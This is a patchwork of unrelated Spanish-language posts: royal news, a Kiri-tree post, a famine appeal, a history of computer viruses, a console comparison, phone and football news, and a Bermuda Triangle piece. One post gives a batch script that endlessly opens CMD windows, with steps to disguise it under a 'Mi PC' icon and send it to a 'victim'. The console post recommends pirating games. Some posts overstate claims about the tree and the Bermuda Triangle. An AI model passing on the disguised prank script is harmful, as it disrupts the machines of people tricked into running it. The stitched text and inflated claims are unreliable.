eliezer97
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Los Duques de Cambridge eligieron ese destino para pasar diez días después de celebrar su boda, el pasado 29 de abril, en la Abadía de Westminster Londres. (EFE).- Los Duques de Cambridge, el príncipe Guillermo y Catalina, regresaron al Reino Unido tras pasar su luna de miel en las islas Seychelles, confirmó hoy un portavoz del palacio de St James. La pareja eligió ese idílico destino para pasar diez días después de celebrar su boda, el pasado 29 de abril, en la Abadía de Westminster. La misma fuente oficial indicó en un comunicado que los recién casados "disfrutaron de ese tiempo juntos y están agradecidos al Gobierno de Seychelles por su ayuda a la hora de hacer que su luna de miel fueran diez días tan especiales y memorables". Además del vestido que lució la novia, cuyo diseñador, la británica Sarah Burton, de la casa Alexander McQueen, no se conoció hasta el último momento, el destino de la luna de miel de la pareja fue otro de los grandes secretos relacionados con el enlace real. Los medios locales barajaron numerosas opciones como Jordania, Australia o Kenia -país en el que Guillermo pidió la mano de Kate-, las islas Mauricio o incluso una propiedad real en el condado de Hampshire (sur de Inglaterra), donde tanto el príncipe Carlos -con Lady Di- en 1981, como la reina Isabel -con el duque de Edimburgo- en 1947, pasaron parte de sus lunas de miel.

El árbol que puede salvar al mundo Queria compartir con ustedes este post, el cual ya fue posteado en cierta forma, de manera un tanto no prolija, y decidi restaurarlo ya que me parece un tema muy importante y valido de difundir aun mas. porque tenemos un solo planeta tierra, y todos tenemos la responsabilidad de cuidarlo! En Texas están utilizando un árbol que podría purificar un suelo infértil y dejarlo listo para ser utilizado en cualquier tipo de cultivo. Y no sólo eso, sino que este árbol absorbe 10 veces más dióxido de carbono que cualquier otro árbol, y arroja mucho más oxígeno. ¿Qué árbol? El Kiri. El árbol Kiri, originario de China, es también conocido como árbol Emperatriz o Paulownia tormentosa. Suele crecer hasta unos 27 metros de altura, con troncos de entre 7 y 20 metros de diámetros. Pero se caracteriza por sus grandes hojas, que llegan a los 40 centímetros de ancho. Es un árbol popular como ornamento, así se hicieron famosos en Japón, y desde allí entraron en Europa en 1834. Pero lo que lo hace tan distintivo es su supervivencia a diferente inclemencias. Por ejemplo sobreviven al fuego, ya que pueden regenerar sus raíces y vasos de crecimiento de forma rápida. También tolera la polución, y no exige suelos fértiles. Es por esta razón que se la utiliza como “planta pionera”, o sea que el kiri es un árbol que puede proveer un buen abono a una tierra previamente poco fértil. Sus hojas son ricas en nitrógeno (buen abono) y las raíces previenen la erosión. Como si fuera poco, crece muy rápido. Pero lo malo del Kiri es que cuando tiene que competir con otros árboles más altos que le dan sombra no prospera. En Texas ha comenzado un proyecto llamado Kiri Revolution (La Revolución Kiri) que consiste en plantar un millón de kiris para así dejar el suelo purificado y lograr que recupere sus propiedades. El proyecto es llevado a cabo por Chris Sanders y Brittany Turner que no sólo eligieron al kiri por sus propiedades fértiles sino porque también absorbe diez veces más dióxido de carbono que cualquier otro árbol en el mundo, y como si fuera poco emite grandes cantidades de oxígeno. O sea que es ideal para la lucha contra el cambio climático. Texas tiene el suelo, el aire y el agua muy contaminada. Por eso Sanders y Turner eligieron al kiri, que puede prosperar en suelos y aguas contaminadas, al tiempo que purifica la tierra en la que crece. Otra ventaja es que el kiri es el árbol de crecimiento más rápido del planeta. En apenas ocho años, una semilla de kiri llega al tamaño de un roble de 40 años. En sólo un año llega a los cuatro metros y medio de altura. Chris Sanders y Brittany Turner están experimentando, por ahora. Prueban las mejores cepas de kiri, y toda su información la suben a su sitio de MySpace, para compartir la información con quien quiera aprovecharla. Como si fuera poco sus hojas pueden utilizarse para hacer un rico té, y al parecer sus flores, de rico aroma, atraen a las abejas y generan una miel más rica, eso dicen. El kiri es el árbol del futuro, se dice en muchos medios. Pero creo que es el árbol del presente, ahora mismo lo podemos aprovechar. Pueden ser de gran ayuda contra el calentamiento global y contra la desertificación CUIDEMOS EL PLANETA, TENEMOS UNO SOLO GRACIAS POR PASAR Y DIFUNDIR

El Cuerno de África está enfrentando una severa emergencia nutricional, que hace que cerca de once millones de personas estén en riesgo, incluyendo a 3,7 millones en Somalia; 3,2 millones en Etiopía y 3,5 millones en Kenia. Esta situación está afectando muy gravemente a la infancia. Más de dos millones de niños sufren desnutrición y necesitan con urgencia acciones vitales para sobrevivir a la sequía. Más de medio millón de esos niños se enfrentan de manera inminente a condiciones de riesgo para sus vidas, con consecuencias de larga duración para su desarrollo físico y mental. La situación empeora alarmantemente hasta el punto que Naciones Unidas ha declarado el estado de hambruna en dos distritos del sur de Somalia, y se prevé que la declaración se ampliará a las demás regiones de la zona en los siguientes meses. Desde 1990 no se hacía una declaración de este tipo en la región, en aquella ocasión fue en Etiopía. Esta crisis está causada por la combinación de diferentes factores que están provocando este deterioro tan acusado de la situación nutricional: La peor sequía de la región en los últimos 50 años. El incremento de los precios de los alimentos. Los efectos del conflicto armado en Somalia. Uno de los más intensos flujos de refugiados de Somalia hacia Kenia y Etiopía. UNICEF estima que un total de 11 millones de personas ya necesitan asistencia humanitaria. Se necesitan acciones urgentes de supervivencia para los más de 500.000 niños que sufren desnutrición severa en las zonas afectadas por la sequía en Kenia, Somalia, Etiopía y Yibuti. También se atenderá a las necesidades de más de un millón y medio de niños que sufren desnutrición moderada. Para declarar el estado de hambruna se tienen que cumplir al menos 3 de una serie de indicadores y afectar al menos al 20% de la población. En el caso de Somalia se cumplen los siguientes: Acceso a alimentos por debajo de las 2.100 kilocalorías por día. Tasa de desnutrición aguda por encima del 30% de los niños (en algunas regiones de Somalia se supera el 50%). Dos muertes asociadas a la desnutrición por cada 10.000 personas al día, o 4 muertes infantiles por cada 10.000 niños al día (en algunas regiones de Somalia se exceden las 6 muertes por cada 10.000 personas al día. YouTube Video link: http://www.youtube.com/watch?v=Zsbk6xCetys&feature=player_embedded Cómo colaborar? Para mayor información visita el sitio de Unicef http://www.unicef.es/infancia/emergencias-ayuda-humanitaria/emergencia-nutricional-en-el-cuerno-de-africa Dona AHORA http://www.supportunicef.org/site/c.dvKUI9OWInJ6H/b.7659299/k.E35/Donate_now_to_the_Horn_of_Africa_crisis.htm

La palabra virus proviene del latín y significa veneno. Los inicios de lo que conocemos como virus informático se remontan a 1949, cuando el pionero de la computación John von Neumann presentó un artículo denominado "Theory and Organization of Complicated Automata" en el cual postula que un programa de computadora se puede replicar. Los empleados de los Laboratorios Bell le dieron vida a esa fascinante teoría en los años 50 en un juego denominado "Core Wars"; en ese juego, dos programadores creaban "organismos" de software y esperaban a que tomaran control del computador. Core Wars es un juego entre programas hechos en lenguaje ensamblador, donde el objetivo es "matar" al programa oponente sobreescribiéndolo con su propia copia. Fue popularizado en los años ochenta por la columna de A. K. Dewney en la revista "Scientific American" y descrito en "Software Practice And Experience" una década antes. El juego fue desarrollado y jugado por Victor Vyssotsky, Robert Morris Sr. y Doug McIlroy en los sesentas (Dennis Ritchie es citado a veces como un co-autor, pero no se involucró en ello). El juego original se llamó "Darwin" y corrió en un IBM 7090 de los Laboratorios Bell. El juego "Core Wars" todavía es jugado en internet por cientos de personas. Según Eugene H. Spafford, respetada autoridad estadounidense y autor de muchos escritos con relacion a los virus, el primer uso del término 'virus' para referirse a código informático indeseado fue hecho por el Dr. Gregory Benford (Científico del Laboratorio Lawrence de Radiaciones en Livermore) tal como fue publicado en el diario The New York Times en 1994. En 1970, el Dr. Benford publicó la idea de un virus en el número del mes de mayo de Venture Magazine. Su artículo describía específicamente el término "computer virus" y describió un programa llamado Virus- y unió esto a la venta de un programa llamado Vaccine para eliminarlo. El Dr. Benford y un equipo de investigadores notaron que un código malicioso podía replicarse entre las computadoras del laboratorio y eventualmente entrar en ARPANET, la red académico-militar que dió origen al Internet. El primer virus Aviel D. Rubin, de AT&T Labs Research y una de las autoridades más respetadas en el mundo informático, en su libro White-Hat Security Arsenal define a Len Adleman (cofundador de RSA y co-diseñador del algoritmo RSA) como el creador del primer virus informático: El primer virus informático fue creado por Len Adleman el 3 de noviembre de 1983 como un experimento que debía ser presentado en un seminario semanal de seguridad informática. Adleman, al cual se le acredita de ser la persona que acuño el término Computer Virus, estuvo ocho horas trabajando para crear el virus en una fuertemente cargada VAX 11/750 corriendo UNIX. El 10 de noviembre de 1983, Adleman había obtenido todos los permisos necesarios y el virus estaba listo para la demostración. Para comenzar el experimento, el virus fue implantado en el comando vd de UNIX. Este comando es usado para mostrar las estructuras de UNIX gráficamente. Muchos controles fueron colocados para mantener al virus bajo control. El experimento fue repetido cinco veces, y en cada caso, todos los derechos de sistema fueron concedidos al atacante en menos de una hora. Luego de los experimentos en UNIX, exámenes adicionales fueron planificados para el sistema Tops-20, el sistema VMS, un sistema VM/370, y una red conteniendo varios de esos sistemas. Los virus fueron preparados en cuestión de horas. Sin embargo, después de negociar con los administradores, los experimentos no fueron permitidos. Adleman, en su artículo “An Abstract Theory of Computer Viruses,” [Advances in Cryptology – CRYPTO ‘88 Proceedings, Springer-Verlag, New York, NY (Aug. 1988) pp. 354-374.] introduce el concepto de Cuarentena, en el cual los programas se colocan en un sistema aislado para su ejecución antes de introducirlos en un ambiente donde hagan daño, con programas placebo infectables, con fines de evaluación y aislamiento de virus. Asimismo, introduce otros conceptos para prevención de virus. Además, introduce definiciones formales de virus, incluyendo la definición de los troyanos. Incluida, como parte del artículo, está la definición para la detección de los virus en sistemas infectados. Adleman llega a la conclusión, como Cohen y Duff, que los sistemas, a menos de que estén completamente aislados, no son inmunes a los virus. Inclusive, a la pregunta "¿Es todo virus absolutamente aislable?" responde negativamente. también encontré esto Y... ¿cuál fue el primer virus? DiarioTi.com (29.05.2000): Muchas líneas de código maligno han sido escritas desde el surgimiento de "Elk Cloner", el primer virus informático conocido, hasta los devastadores especímenes actuales, tales como "Melissa" y "ILOVEYOU", que causan perjuicios multimillonarios a nivel mundial, además de enorme malestar a sus víctimas. Creado en 1982, "Elk Cloner" fue el primer virus del mundo, y su autoría corresponde a Rich Skrenta, quien en ese entonces era un muchacho de sólo 14 años de edad. El virus fue escrito para las máquinas Apple II, que al infectarse mostraban el siguiente mensaje en pantalla por cada cincuenta veces que se encendiese la computadora: Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it's Cloner! It will stick to you like glue it will modify RAM too Send in the Cloner! Al tratarse de un período en que Internet era un sistema limitado a los círculos académicos, la propagación de Elk Cloner se producía mediante disquetes. La denominación "virus informático" fue introducida en 1983 por el investigador Fred Cohen, quien usó tal concepto para referirse a sus experimentos de códigos autorreproducibles. Sin embargo, la producción masiva de tales códigos -y la competencia por crear los virus más destructivos, molestos o "ingeniosos"- surgió luego del lanzamiento del libro "Neuromancer" de William Gibson, que sirvió de fuente de inspiración para muchos escritores de virus. El primer virus que llamó la atención mediática a nivel mundial fue "Jerusalen", que luego de propagarse silenciosamente liberaba su carga destructiva cada viernes 13, eliminando archivos en las máquinas infectadas. Con ello se había dado inicio a la eterna lucha entre los escritores de códigos malignos y su contraparte, las empresas de seguridad informática y sus programas antivirus. Hasta el surgimiento del nefasto ILOVEYOU, el virus más costoso de la historia había sido Melissa, creado por el estadounidense David Smith, y que ocasionó pérdidas mundiales del orden de los 80 millones de dólares. Tal cifra es modesta comparada con los 15 mil millones de dólares en que se calculan los daños causados por ILOVEYOU, cuya presunta autoría se atribuye al filipino Onel Guzmán.
Amigos de T! Aqui explicare propiedades de la Xbox 360 y de la Playstation 3 Para mi es mejor la Play 3 (L) Pero dejen su opinion aver que piensan!!! Comparaciones entre Playstation 3 y Xbox 360:Empezamos con el tiempo de encendido, dónde PlayStation 3 es más rápida en alcanzar el menú de la consola, la 360 tarda bastante en cargar, si tienes prisa por jugar se hace eterno viendo el logotipo en pantalla tanto tiempoLa segunda parte es la sincronización del mando a la consola, dónde otra vez gana PlayStation 3El turno ahora es para el tiempo de carga de un juego, el elegido fue Tony Hawk's Project 8. Viendo el inicio del video parece que PlayStation 3 ganará porque rapidamente la pantalla se pone en negro, pero la carga se demora y Xbox 360 gana con claridad.(Probado entre amigos que tienen PS3 y XbX360)En la siguiente comparación Xbox 360 obtiene la victoria con mucha facilidad aunque lo comparado sean las tiendas online (Live Marketplace con PlayStation Store) que no tienen gran parecido entre sí, la funcionalidad de ambas es la misma. Para mi el punto más fuerte de Xbox 360 es la funcionalidad online que Sony de momento está lejos de alcanzar. La carga de Store de momento es muy lenta aunque se podrá arreglar con alguna mejora en firmware. Al Live lo dicho, lo mejor de Xbox 360:::INION PERSONAL::::: Es verdad que la Xbox360 tiene mas graficos, no lo discuto. Pero...¿hace cuanto tiempo aproximadamente salio la Xbox 360? 4 años y 1/2 Y la Play3?? Hace 3!. Entonces, las tarjetas graficas y el nivel esta casi empatado.Eso quiere decir que la playstation 3 dentro de 2 años superara por "goleada" a los graficos de la Xbox!Luego....los controles...Miren el control de la Xbox360:Osea, What The Fuck?!!!! Que es esooo? Una palanquita para un lado la otra para el otro...TODO DEFORME y es enorme!! Solo un gigante podria llegar comodamente a cada boton :/Ahora miremos el de la Playstation 3:Oh mi dios! Es comodisimo..Pequeño, pero nunca se cae, llegas a todos los botonesEn las dos consolas son inalambricos eso es bueno...En la Xbox 360 es mejor el sitema de recarga porque llena bateria conectandola a la consola y eso te permite jugar....! En la playstation 3 necesitas conectarla a la ^PCAhora nos iremos un poco mas a lo clandestino se podria decir Xbox 360: Si tiene chip! Y entonces los juegos son accesibles pero..! Ya no se estan fabricando los modelos que se pueden chipear a $200 ahora el modelo slim sale en el caso de argentina $1000!Playstation 3: No tiene chip Pero...si te decides a instalar el programa especial (el mas famoso es el multiman) y luego comprar una memoria externa de mucho espaacio..Estaras e la gloria...porque es un especie de hack con la play 3 que te tra un programa que descargandote juegos de la Pc y poniendolos en la memoria externa podras jugar gratis a muchos juegos!Despues, puedes instalarte un cable especial para jugar con controles de La playstation 2 y la 1 !! Ohsi!!Luego, en los sensores de movimiento:El de xbox360 es bueno porque no tienes que usar nada solo te moves..pero es muy malo! Vos moves el braso y el muniquito mueve la cabeza maso menos! JajajEn cambio, el de PS3 tienes dos controles no muy grandes pero te toma todos los movimientos a la perfeccion!Los precios varian de donde vivas y donde la compres! Yo la consigo a $2156! (Ps3)Si los moderadores encuentran errores No duden en corregirlos! Espero que les haya informado Adios!
Finalmente el Motorola Droid X2 ha sido anunciado por la compañía americana de cara a su salida la semana próxima de la mano de la operadora Verizon. Toma nota de lo que ofrece este nuevo teléfono con Android porque esperamos que más pronto que tarde tengamos la versión europea, es decir, el Milestone 2, en nuestras manos. El Motorola Droid X2 confirma la pantalla de 4.3 pulgadas con resolución qHD y tratamiento para resistir los arañazos y reflejos , así como el procesador de doble núcleo a 1 Ghz y la cámara de 8 megapíxeles como sus tres pilares sobre los que sustenta su poderío. Como sistema operativo saldrá con Android 2.2 aunque Motorola ha confirmado que se podrá actualizar en breve a Android 2.3. El precio orientativo con el que saldrá con la operadora Verizon será de 200 dólares (con dos años de contrato)
. Abre el bloc de notas 2. Escribe el siguiente código: @echo off :a start start start start start start goto :a 3. Vete a archivo -> guardar como: Mi PC.bat , esto es el nombre del archivo, lo puedes llamar como quieras pero que termine en .bat. En tipo has de seleccionar todos los archivos 4. Puedes cambiar el icono por otro que te guste, por ejemplo por el de Mi PC, de esta manera pasará desapercibido. 5. Ya se lo puedes enviar a tu victima. Es un virus inofensivo, lo que hace el script, es abrir CMD seis veces continuamente y no tienes manera de detenerlo, simplemente reinicia el ordenador y el problema estará solucionado. Lo podemos considerar un truco del bloc de notas.

Resuelto el misterio del triangulo de las bermudas. Lo hicieron tras descartar las más extrañas versiones que involucran monstruos y ovnis. Varias décadas pasaron en donde la leyenda del denominado Triángulo de las Bermudas no hizo más que crecer. Los reportes de desapariciones de embarcaciones y aviones contribuyeron al mito. Pero la respuesta parecería encontrarse en las profundidades océanicas. Científicos estadounidenses atribuyeron el fenómeno, que algunos escépticos consideran "exagerado", a unas acumulaciones gaseosas de hidratos de metano que se eyectan con fuerza hacia la superficie y provocan una notable inestabilidad en el equipamiento técnico de las naves. Según los expertos, que brindaron el reporte a la cadena internacional CNN, no se trataría entonces de impresionantes monstruos marinos, ni de abducciones extraterrestres. La explicación científica apunta a unos bancos de gas encontrados en sitios volcánicos, en donde se generan enormes burbujas que crecen mientras ganan altura. Una vez que la "burbuja gaseosa" alcanza cualquier embarcación, ésta queda capturada en el globo de gas lo que provocaría la pérdida de todas sus facultades de flotabilidad. http://tecuelas.com/wp-content/uploads/2010/11/Tri%C3%A1ngulo-de-las-Bermudas.jpg El Triángulo de las Bermudas es un área geográfica situada en el océano Atlántico entre las islas Bermudas, Puerto Rico y Fort Lauderdale (Florida). La leyenda comenzó en diciembre de 1945, cuando un grupo de aviones militares con 14 hombres desapareció sin explicación antes del último contacto radial en el que alcanzaron a transmitir que estaban entrando "en aguas blancas" y que "nada parecía bien". Hasta la fecha, se contabilizan más de 50 naves y 20 aviones desaparecidos sin dejar rastro alguno. Sin embargo, quienes nunca creyeron en este mito, basaron sus objeciones en cifras que demostrarían que la zona es estadísticamente irrelevante, en comparación con los accidentes o desapariciones en otras aguas oceánicas. Bueno amigos gracias por ver mi post espero entiendan por que el triangulo de las bermudas es así
Lo venció 4-2 en Paraguay y completó un resultado global de 7-2. El equipo de Gareca estuvo dos veces abajo en el marcador, pero lo empató con un doblete de Moralez. Luego, Franco (de penal) y Augusto Fernández liquidaron la serie. Ahora espera a Peñarol o Católica. DOBLETE. Maxi Moralez hizo dos en la victoria de Vélez en Paraguay. (AFP Vélez Sarsfield va por la doble corona y lo afirma con cada paso de que da. Esta noche lo hizo al vencer a Libertad de Paraguay, en Asunción, por 4-2 y así avanzar a las semifinales de la Copa Libertadores de América. La ida había sido 3-0 para los de Ricardo Gareca, en La Bombonera, por lo que el resultado final terminó siendo de 7-2. Después de cinco minutos de dominio absoluto de Libertad, en los que un cabezazo de Víctor Cáceres exigió una magistral tapada de Marcelo Barovero, Vélez logró aquietar el ritmo y el partido se hizo equilibrado. De hecho, pudo haber liquidado el pleito cuando a los 10 minutos, el uruguayo Santiago Silva, bien habilitado por Víctor Zapata, remató suave ante la salida de Tobías Vargas y su envío fue despejado por Miguel Samudio a dos metros de la raya de gol. De a poco el conjunto de Ricardo Gareca se fue haciendo dueño de la pelota y ello, sumado a la presión que ejercieron sus jugadores, terminó incomodando al conjunto paraguayo, que, no obstante, generó alguna acción de peligro, nacidas en el buen pie de Rodolfo Gamarra. Silva tuvo otra chance, pero chocó con una buena tapada de Vargas a 10 minutos del final de una etapa inicial que se iba sin goles. Pero en el final vinieron las emociones. A los 44 Rojas recibió un centro desde la izquierda y con un disparo mordido sorprendió a Barovero y puso el 1-0 que ilusionaba al público paraguayo. Pero enseguida se desconcentró Arnaldo Vera y le dejó a Moralez el empate servido en bandeja. El 1-1 parcial obligaba a los paraguayos a marcar cuatro goles en los 45 minutos finales, una verdadera utopía. Con la serie prácticamente liquidada, Vélez salió a hacer pasar los minutos en la parte complementaria. Libertad, golpeado anímicamente, fue el que asumió la iniciativa y rápidamente se puso en ventaja con un zapatazo de Maciel. Pero como en la primera parte, Vélez fue levantando y sobre los 22 llegó a la igualdad tras una maravillosa pared entre Moralez y Emiliano Papa que concluyó Frasquito. A partir de entonces se acabó el sueño guaraní. Pero Vélez no se conformó y en los cinco minutos finales remató a su rival con un gol de penal del reaparecido Guillermo Franco y un golazo de Augusto Fernández. Fue un final a toda orquesta para un equipo que sale a ganar tanto de local como visitante y llegará en su mejor momento a la etapa decisiva de la Copa y del torneo local. La ilusión sigue latiendo por Liniers, y por partida doble. coomeenteen
¿De que habla la mayoría de la gente en internet?… Yo pensé que lo que más se hablaba es de tecnología de ordenadores, de móviles si acaso… Pues NO, de lo que más se habla en internet, el número uno de los temas de conversación es: “Tu Salud”, que agrupa nada más y nada menos que al 14% de las conversaciones on line … Pero el segundo tema en importancia, por su volumen de conversaciones, son los juegos : “La gente no va a internet a jugar” dice Michelle Chmielewski, community manager de Synthesio, “… al contrario, lo que hace la gente es hablar de juegos : Cuales son sus juegos favoritos, de cómo derribar a tu oponente con un movimiento de muñeca o cual es la última estrategia para conseguir magia…”. Una cuestión importante a tener en cuenta a la hora de desarrollar nuestras campañas anuncios sobre la base de juegos interactivos. Aquí debajo tienes el gráfico, pero ¿Cual es la mayor conclusión que podemos extraer de estos datos?